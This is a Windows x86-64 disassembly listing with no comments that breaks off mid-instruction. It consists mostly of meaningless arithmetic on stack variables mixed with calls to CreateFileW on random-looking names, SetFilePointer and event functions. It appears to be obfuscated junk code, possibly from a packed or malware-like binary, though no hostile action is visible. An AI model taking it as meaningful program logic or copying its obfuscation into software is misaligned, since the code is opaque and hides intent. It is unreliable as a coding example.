mov ecx, dword [rsp + 0xcdc]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x139c], eax
mov rax, qword [rsp + 0xf48]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xeb]
shl eax, cl
mov byte [rsp + 0x16c], al
mov rax, qword [rsp + 0x1cc8]
mov qword [rsp + 0x3668], rax
movsx eax, byte [rsp + 0x578]
movsx ecx, byte [0x1400fd133]
or eax, ecx
mov rcx, qword [rsp + 0x1340]
mov byte [rcx], al
lea rax, [rsp + 0x2bb8]
mov qword [rsp + 0x2a38], rax
mov rax, qword [rsp + 0x2370]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x630]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x1984], eax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [0x1400fd448]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x8ac], ax
lea rax, [rsp + 0x844]
mov qword [0x1400fd5a8], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xe3ca
mov rcx, qword [rsp + 0x1f88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x11a8], eax
mov rax, qword [rsp + 0xa18]
mov qword [rsp + 0x2b18], rax
mov rax, qword [rsp + 0x17c0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x29f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x41c], ax
lea rax, [0x1400fd2c0]
mov qword [rsp + 0x28a8], rax
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax]
add rax, qword [rsp + 0x19c0]
mov qword [rsp + 0x1440], rax
movsx eax, byte [rsp + 0x80]
mov rcx, qword [rsp + 0x16d8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xf9], al
mov eax, dword [rsp + 0xbb4]
mov ecx, dword [0x1400fc49c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2134], eax
mov rcx, qword [rsp + 0x2a20]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27d0], eax
mov r9d, 1
xor r8d, r8d
mov edx, 0xe740
mov rcx, qword [rsp + 0x1d10]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1980], eax
mov rax, qword [rsp + 0x1fd8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x18a8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x1920], rax
mov rax, qword [0x1400fd578]
movzx eax, word [rax]
mov word [rsp + 0x6f4], ax
lea rax, [rsp + 0x18f0]
mov qword [0x1400fd5b0], rax
mov eax, dword [rsp + 0x27c4]
imul eax, dword [rsp + 0xb94]
mov dword [rsp + 0x119c], eax
movzx eax, byte [rsp + reloc.SHELL32.dll_SHGetImageList]
mov rcx, qword [rsp + 0x19c8]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x580], al
movsx eax, word [rsp + 0x5c8]
movsx ecx, word [rsp + 0x264]
add eax, ecx
mov rcx, qword [rsp + 0x1fe8]
mov word [rcx], ax
mov rax, qword [rsp + 0x16a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x384]
sub eax, ecx
mov rcx, qword [rsp + 0xda8]
mov word [rcx], ax
mov rax, qword [rsp + 0x188]
mov rax, qword [rax]
mov qword [rsp + 0x2528], rax
mov rax, qword [rsp + 0x2c98]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x23b0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x579], al
lea rax, [rsp + 0x674]
mov qword [rsp + 0x4ed0], rax
movsx eax, word [rsp + 0x4e0]
movsx ecx, word [0x1400fc3c0]
shl eax, cl
mov rcx, qword [rsp + 0x1420]
mov word [rcx], ax
movzx eax, word [rsp + 0x6b8]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1400fc468], ax
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f8]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1808], rax
mov rax, qword [rsp + 0x7f8]
mov rax, qword [rax]
mov qword [rsp + 0x2a68], rax
mov rax, qword [rsp + 0x2a68]
mov rcx, qword [rsp + 0x3d60]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x978], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.XXlWbYdtKVH3QxVIjABkPL_tWc54Wdm4K
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x3dd0], rax
movsx eax, word [rsp + 0x3b0]
mov rcx, qword [0x1400fd268]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x5f0], ax
mov rax, qword [rsp + 0x1be0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x968]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x1b8], al
mov rax, qword [rsp + 0x2678]
mov ecx, dword [rsp + 0x9f8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x63c], eax
mov rcx, qword [rsp + 0x1270]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x1104], eax
mov r9d, 2
xor r8d, r8d
mov edx, 0x29ff
mov rcx, qword [rsp + 0x2648]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x518], eax
lea rax, [0x1400fc390]
mov qword [rsp + 0x25a8], rax
mov rax, qword [rsp + 0x24c8]
mov rcx, qword [rsp + 0x1730]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xcdc], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3a80], rax
movzx eax, byte [rsp + 0xfb]
mov byte [rsp + reloc.SHELL32.dll_SHMultiFileProperties], al
movsx eax, word [rsp + 0x6cc]
mov rcx, qword [rsp + 0x740]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fc4a0], ax
movzx eax, word [rsp + 0x41c]
mov rcx, qword [rsp + 0xdb0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x12c], ax
mov rax, qword [rsp + 0xa98]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x1228]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xaf8], ax
mov rax, qword [rsp + 0x200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2380]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xfb8], rax
mov rax, qword [rsp + 0x2588]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x3820]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xd18], rax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov dword [rsp + 0x13b8], eax
mov rax, qword [rsp + 0x298]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x1898]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x2b8], al
movzx eax, word [rsp + 0x5a8]
mov word [rsp + 0x15d0], ax
movzx eax, word [rsp + 0x714]
movzx ecx, word [rsp + 0x5d0]
or eax, ecx
mov word [rsp + 0x854], ax
mov rax, qword [rsp + 0x1238]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x23a8]
add rax, qword [rcx]
mov qword [0x1400fd230], rax
movzx eax, word [rsp + 0x49c]
mov rcx, qword [rsp + 0x11f8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xec], ax
mov rax, qword [rsp + 0x16a8]
mov rcx, qword [rsp + 0xca0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x3658], rax
mov rax, qword [rsp + 0x28a0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x1f70]
sar rax, cl
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x2490], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xdcdc
mov rcx, qword [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x260], eax
mov rax, qword [rsp + 0xa10]
mov rax, qword [rax]
add rax, qword [rsp + 0xd18]
mov rcx, qword [rsp + 0x3d8]
mov qword [rcx], rax
movzx eax, byte [rsp + 0x1c3]
mov rcx, qword [rsp + 0x1520]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1090]
mov byte [rcx], al
lea rax, [rsp + 0x214c]
mov qword [rsp + 0x2c48], rax
mov rax, qword [rsp + 0x24b0]
mov ecx, dword [rsp + 0x670]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x330], eax
mov rcx, qword [rsp + 0x3aa0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x8f4], eax
movsx eax, word [rsp + 0x6d4]
mov rcx, qword [rsp + 0xfe8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x1400fd448]
mov word [rcx], ax
movzx eax, word [rsp + 0x460]
mov word [rsp + 0x6e4], ax
movzx eax, word [rsp + 0x5e8]
movzx ecx, word [rsp + 0x308]
sar eax, cl
mov word [rsp + 0x26c], ax
movzx eax, word [rsp + 0x724]
mov rcx, qword [rsp + 0xa8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x5c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], ILIsParent
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.YIOTUzcgKMSxmxadItYgm
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2fc8], rax
lea rax, [rsp + 0xc68]
mov qword [rsp + 0x12a0], rax
mov rcx, qword [rsp + 0x1330]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x12c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x138c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x37e0]
mov dword [rcx], eax
lea rax, [rsp + 0x10b]
mov qword [rsp + 0x24a0], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x6b93
mov rcx, qword [rsp + 0x1048]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcd8], eax
movsx eax, word [rsp + 0x280]
mov rcx, qword [0x1400fd430]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x164], ax
movzx eax, word [rsp + 0xb08]
mov rcx, qword [rsp + 0x1358]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xe9c], ax
lea rax, [rsp + 0xdb8]
mov qword [0x1400fd5b8], rax
mov rcx, qword [rsp + 0x16d0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x1b78]
mov rax, qword [rax]
mov rcx, qword [0x1400fd2e8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1238]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb70]
mov rcx, qword [rsp + 0x22e8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb80], rax
mov rax, qword [rsp + 0x2b18]
mov qword [rsp + 0x3038], rax
movzx eax, word [rsp + 0x128]
mov rcx, qword [rsp + 0x468]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x4d8], ax
mov eax, dword [rsp + 0x34f0]
mov rcx, qword [rsp + 0x970]
mov qword [rsp + 0x48e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48e8]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x1978], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.LK2DdN_a8oR5wQjQka
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x32b8], rax
movzx eax, byte [rsp + 0x58]
mov rcx, qword [rsp + 0x1090]
movzx ecx, byte [rcx]
imul eax, ecx
mov rcx, qword [rsp + 0x820]
mov byte [rcx], al
mov rax, qword [rsp + 0x1150]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x11f0]
add eax, dword [rcx]
mov dword [rsp + 0x1124], eax
lea rax, [rsp + 0x237]
mov qword [rsp + 0x37c0], rax
lea rax, [rsp + 0x2528]
mov qword [0x1400fd5c0], rax
mov rax, qword [0x1400fd1d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x528]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x1cc0]
mov word [rcx], ax
mov rax, qword [rsp + 0x1178]
movzx eax, word [rax]
mov word [rsp + 0x8c4], ax
movzx eax, word [rsp + 0x4c0]
movzx ecx, word [0x1400fc498]
and eax, ecx
mov word [rsp + 0x938], ax
mov rax, qword [rsp + 0x19f8]
mov rcx, qword [rsp + 0x1268]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x18b8], rax
mov rcx, qword [rsp + 0x1c18]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
xor r9d, r9d
xor r8d, r8d
mov edx, 0x7151
mov rcx, qword [rsp + 0x2390]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x13bc], eax
lea rax, [rsp + 0x3ee]
mov qword [rsp + 0x2ef8], rax
mov rax, qword [rsp + 0x1a18]
mov eax, dword [rax]
add eax, dword [0x1400fc46c]
mov dword [rsp + 0xe2c], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x3a38], rax
mov rax, qword [rsp + 0x1078]
mov rax, qword [rax]
mov qword [rsp + 0x3030], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0x9f3f
mov rcx, qword [rsp + 0x1940]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1130], eax
mov rcx, qword [rsp + 0x1e70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x2174], eax
mov rax, qword [rsp + 0x12d0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x770]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x5f0], ax
lea rax, [rsp + 0xbe4]
mov qword [0x1400fd5c8], rax
lea rax, [rsp + 0x1d98]
mov qword [rsp + 0x49a8], rax
mov rax, qword [rsp + 0x468]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xda8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x31c], ax
mov rax, qword [rsp + 0x1730]
mov ecx, dword [rsp + 0xad4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x25d8]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x118]
movzx ecx, byte [rsp + 0x2df]
imul eax, ecx
mov byte [rsp + 0x22e], al
mov rax, qword [rsp + 0x28d0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2910]
mov qword [rsp + 0x48f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48f0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0x1418], rax
mov rax, qword [0x1400fd1f0]
mov eax, dword [rax]
mov dword [rsp + 0x1394], eax
movsx eax, byte [rsp + 0x22d]
mov rcx, qword [rsp + 0x36b8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d4], al
movsx eax, word [rsp + 0x3b4]
mov rcx, qword [rsp + 0x1eb0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x4fc], ax
movzx eax, word [0x1400fd590]
mov rcx, qword [rsp + 0xda8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1400fc400], ax
mov rax, qword [rsp + 0x1f50]
mov rcx, qword [rsp + 0x1b78]
mov qword [rsp + 0x48f8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x48f8]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x2c10], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.7fV_vFYkgc4mtg
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x5480], rax
mov rax, qword [rsp + 0xcb0]
mov rcx, qword [rsp + 0x2c10]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9b0]
mov qword [rcx], rax
lea rax, [rsp + 0x6c0]
mov qword [rsp + 0x24a8], rax
mov rax, qword [rsp + 0x24e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x4a4]
and eax, ecx
mov word [rsp + 0x378], ax
movsx eax, byte [rsp + 0x548]
mov rcx, qword [0x1400fd4c8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1bf], al
lea rax, [rsp + 0x8e0]
mov qword [rsp + 0x3100], rax
mov rcx, qword [rsp + 0x3a70]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xcd4], eax
mov rax, qword [rsp + 0x1448]
mov rcx, qword [rsp + 0x1300]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa10]
mov qword [rcx], rax
lea rax, [rsp + 0x2358]
mov qword [rsp + 0x2b00], rax
mov rax, qword [0x1400fd228]
movzx eax, word [rax]
mov word [0x1400fd5d0], ax
movzx eax, word [rsp + 0x4a8]
mov rcx, qword [rsp + 0xa60]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x5c], ax
mov rax, qword [0x1400fd138]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9f0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xdc0]
mov dword [rcx], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xb096
mov rcx, qword [rsp + 0x2840]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
lea rax, [rsp + 0xfb]
mov qword [rsp + 0x24f8], rax
mov rax, qword [rsp + 0xf88]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x3140]
shl rax, cl
mov rcx, qword [rsp + 0x1ba8]
mov qword [rcx], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x36a0], rax
mov rax, qword [rsp + 0x19e8]
mov eax, dword [rax]
mov ecx, dword [0x1400fd550]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x1498]
mov dword [rcx], eax
lea rax, [rsp + 0x1cf0]
mov qword [rsp + 0x30c0], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x41c0], rax
mov rax, qword [rsp + 0x528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x1a10]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x410], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xc151
mov rcx, qword [rsp + 0x2340]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x10c8], eax
mov rax, qword [rsp + 0x1ad0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov word [0x1400fd178], ax
mov rcx, qword [rsp + 0x17a0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27d0], eax
mov rax, qword [rsp + 0x2b0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x2850]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcb0]
mov qword [rcx], rax
lea rax, [rsp + 0x5e4]
mov qword [rsp + 0x1ae8], rax
movsx eax, word [0x1400fd478]
movsx ecx, word [rsp + 0x410]
and eax, ecx
mov word [rsp + 0x464], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 8
mov edx, 0xc0000000
lea rcx, str.OwzUWG3WchWeaPwX3lW5CCJvck71UguFgy
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x4230], rax
mov rax, qword [rsp + 0x9b0]
mov rax, qword [rax]
mov qword [rsp + 0x2f08], rax
mov rax, qword [rsp + 0x1ad8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b88]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x1d00], rax
mov rcx, qword [rsp + 0xc60]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27c8], eax
mov rax, qword [rsp + 0xf60]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xb8c]
shr eax, cl
mov dword [rsp + 0xce0], eax
mov rax, qword [rsp + 0xfd8]
movzx eax, byte [rax]
mov byte [rsp + 0x3fa], al
movzx eax, word [rsp + 0x4c0]
mov rcx, qword [0x1400fd418]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x590], ax
mov rax, qword [rsp + 0x2a90]
mov rcx, qword [rsp + 0x1e88]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [0x1400fd1b0]
mov qword [rcx], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0xd99f
mov rcx, qword [rsp + 0x23e0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x27f4], eax
lea rax, [rsp + 0x678]
mov qword [rsp + 0x2440], rax
movzx eax, byte [rsp + 0xe7]
cdq
mov ecx, 0x7c
idiv ecx
mov byte [rsp + 0x172], al
movsx eax, word [rsp + 0x390]
mov rcx, qword [rsp + 0x1d70]
movsx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x248], ax
movzx eax, word [rsp + 0x308]
mov rcx, qword [rsp + 0xa50]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x6a8], ax
mov rcx, qword [rsp + 0x3d68]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov r9d, 2
xor r8d, r8d
mov edx, 0xa2ee
mov rcx, qword [rsp + 0x23f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xcec], eax
mov rcx, qword [rsp + 0x2a48]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f4], eax
mov rax, qword [rsp + 0x14b8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x838]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1da8]
mov qword [rcx], rax
lea rax, [rsp + 0x3f7]
mov qword [rsp + 0x1f18], rax
mov eax, dword [0x1400fd1d8]
movzx ecx, al
mov eax, dword [rsp + 0x9a4]
shr eax, cl
mov dword [rsp + 0xbbc], eax
movsx eax, word [rsp + 0x270]
movsx ecx, word [rsp + 0x350]
add eax, ecx
mov word [rsp + 0x560], ax
lea rax, [rsp + 0x6f8]
mov qword [0x1400fd5d8], rax
lea rax, [rsp + 0x18a0]
mov qword [rsp + 0x2c00], rax
mov rax, qword [rsp + 0x2e88]
mov rcx, qword [rsp + 0x1a28]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb20]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc78]
mov qword [rsp + 0x2248], rax
mov rax, qword [rsp + 0xd70]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc0]
sub eax, ecx
mov word [rsp + 0x6e0], ax
mov rax, qword [0x1400fd238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf7]
add eax, ecx
mov byte [rsp + 0x3f0], al
mov rax, qword [rsp + 0x3c0]
mov rcx, qword [rsp + 0x2288]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x2588]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x5217
mov rcx, qword [rsp + 0x2ea8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x8fc], eax
mov rax, qword [rsp + 0x2678]
mov ecx, dword [rsp + 0x10e8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x1a40], eax
lea rax, [rsp + 0x22e]
mov qword [rsp + 0x2d60], rax
mov rcx, qword [rsp + 0x23c0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x20f4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.eOAOTXndnydm413a
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x2eb8], rax
mov rax, qword [rsp + 0x2368]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xacc]
sar eax, cl
mov rcx, qword [rsp + 0xa38]
mov dword [rcx], eax
movsx eax, word [0x1400fd16c]
mov rcx, qword [rsp + 0x1328]
movsx ecx, word [rcx]
add eax, ecx
mov word [0x1400fd4d0], ax
mov rax, qword [rsp + 0x1538]
movzx eax, word [rax]
mov word [rsp + 0x708], ax
movzx eax, word [rsp + 0x4e4]
movzx ecx, word [rsp + 0x6e8]
sub eax, ecx
mov word [rsp + 0x718], ax
mov rcx, qword [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x9d8], eax
mov rax, qword [rsp + 0x1b28]
mov rcx, qword [0x1400fd400]
mov qword [rsp + 0x4900], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4900]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x1ed0]
mov qword [rcx], rax
mov r9d, 1
xor r8d, r8d
mov edx, 0x456f
mov rcx, qword [rsp + 0x2ed0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1a3c], eax
mov rax, qword [rsp + 0xd28]
mov eax, dword [rax]
mov dword [rsp + 0x2150], eax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0x4930], rax
mov rax, qword [rsp + 0x7c0]
mov rcx, qword [rsp + 0x3068]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x1708], rax
lea rax, [0x1400fc381]
mov qword [rsp + 0x25c0], rax
movsx eax, word [rsp + 0x84c]
mov rcx, qword [rsp + 0xf90]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x1178]
mov word [rcx], ax
mov rax, qword [rsp + 0x14b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14f8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1dc], ax
mov rax, qword [rsp + 0xca0]
movzx ecx, al
mov rax, qword [0x1400fd4b0]
sar rax, cl
mov qword [0x1400fc4a8], rax
lea rax, [rsp + 0x848]
mov qword [rsp + 0x1f90], rax
mov rax, qword [rsp + 0xf58]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x1d78]
mov qword [rcx], rax
lea rax, [rsp + 0xc78]
mov qword [rsp + 0x2510], rax
mov rax, qword [rsp + 0x188]
mov rcx, qword [rsp + 0x2328]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc68], rax
mov rax, qword [rsp + 0x1080]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x1abc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x1aac], eax
mov rax, qword [rsp + 0x2f0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2c9]
add eax, ecx
mov byte [rsp + 0x59], al
mov rax, qword [rsp + 0x2f48]
mov rcx, qword [rsp + 0x2ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x340]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x119]
mov byte [rsp + 0x2d3], al
mov rax, qword [rsp + 0x1c90]
movzx eax, word [rax]
mov word [0x1400fd5e0], ax
movsx eax, word [rsp + 0x310]
movsx ecx, word [rsp + 0x368]
sar eax, cl
mov word [rsp + 0x6ac], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0x68ab
mov rcx, qword [rsp + 0x29b0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x1678], eax
lea rax, [rsp + 0x8b0]
mov qword [rsp + 0x3e48], rax
mov rax, qword [0x1400fd388]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c0]
or eax, ecx
mov rcx, qword [rsp + 0x9e0]
mov word [rcx], ax
mov rax, qword [rsp + 0x28b8]
movzx ecx, al
mov rax, qword [rsp + 0x1300]
shl rax, cl
mov qword [rsp + 0x3030], rax
mov eax, dword [0x1400fd214]
mov ecx, dword [rsp + 0x13b8]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2188], eax
mov rcx, qword [rsp + 0x1ce0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x27e8], eax
movsx eax, byte [rsp + 0x11c]
movsx ecx, byte [rsp + 0x136]
sub eax, ecx
mov byte [rsp + 0x238], al
lea rax, [rsp + 0x728]
mov qword [rsp + 0x2468], rax
mov rax, qword [0x1400fd3c8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1a4]
add eax, ecx
mov word [rsp + 0x4a4], ax
mov rax, qword [rsp + 0x1ba8]
mov rax, qword [rax]
movzx ecx, al
